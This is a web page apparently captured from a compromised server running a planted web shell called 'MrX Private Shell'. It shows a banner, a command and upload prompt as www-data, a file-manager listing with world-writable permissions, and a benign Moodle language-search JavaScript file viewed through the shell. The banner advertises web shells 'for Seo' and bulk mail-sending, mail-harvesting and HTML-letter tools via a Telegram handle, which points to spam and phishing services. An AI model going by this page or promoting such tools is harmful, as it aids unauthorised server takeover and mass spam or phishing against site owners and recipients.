__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Add search filtering of available language packs
 *
 * @module      tool_langimport/search
 * @copyright   2021 Paul Holden <paulh@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Pending from 'core/pending';
import {debounce} from 'core/utils';

const SELECTORS = {
    AVAILABLE_LANG_SELECT: 'select',
    AVAILABLE_LANG_SEARCH: '[data-action="search"]',
};

const DEBOUNCE_TIMER = 250;

/**
 * Initialize module
 *
 * @param {Element} form
 */
export const init = form => {
    const availableLangsElement = form.querySelector(SELECTORS.AVAILABLE_LANG_SELECT);

    const availableLangsFilter = (event) => {
        const pendingPromise = new Pending('tool_langimport/search:filter');

        // Remove existing options.
        availableLangsElement.querySelectorAll('option').forEach((option) => {
            option.remove();
        });

        // Filter for matching languages.
        const searchTerm = event.target.value.toLowerCase();
        const availableLanguages = JSON.parse(availableLangsElement.dataset.availableLanguages);
        const filteredLanguages = Object.keys(availableLanguages).reduce((matches, langcode) => {
            if (availableLanguages[langcode].toLowerCase().includes(searchTerm)) {
                matches[langcode] = availableLanguages[langcode];
            }
            return matches;
        }, []);

        // Re-create filtered options.
        Object.entries(filteredLanguages).forEach(([langcode, langname]) => {
            const option = document.createElement('option');
            option.value = langcode;
            option.innerText = langname;
            availableLangsElement.append(option);
        });

        pendingPromise.resolve();
    };

    // Cache initial available language options.
    const availableLanguages = {};
    availableLangsElement.querySelectorAll('option').forEach((option) => {
        availableLanguages[option.value] = option.text;
    });
    availableLangsElement.dataset.availableLanguages = JSON.stringify(availableLanguages);

    // Register event listeners on the search element.
    const availableLangsSearch = form.querySelector(SELECTORS.AVAILABLE_LANG_SEARCH);
    availableLangsSearch.addEventListener('keydown', (event) => {
        if (event.key === 'Enter') {
            event.preventDefault();
        }
    });

    // Debounce the event listener to allow the user to finish typing.
    const availableLangsSearchDebounce = debounce(availableLangsFilter, DEBOUNCE_TIMER);
    availableLangsSearch.addEventListener('keyup', (event) => {
        const pendingPromise = new Pending('tool_langimport/search:keyup');

        availableLangsSearchDebounce(event);
        setTimeout(() => {
            pendingPromise.resolve();
        }, DEBOUNCE_TIMER);
    });
};

Filemanager

Name Type Size Permission Actions
search.js File 3.43 KB 0777
uninstall.js File 2.56 KB 0777
Filemanager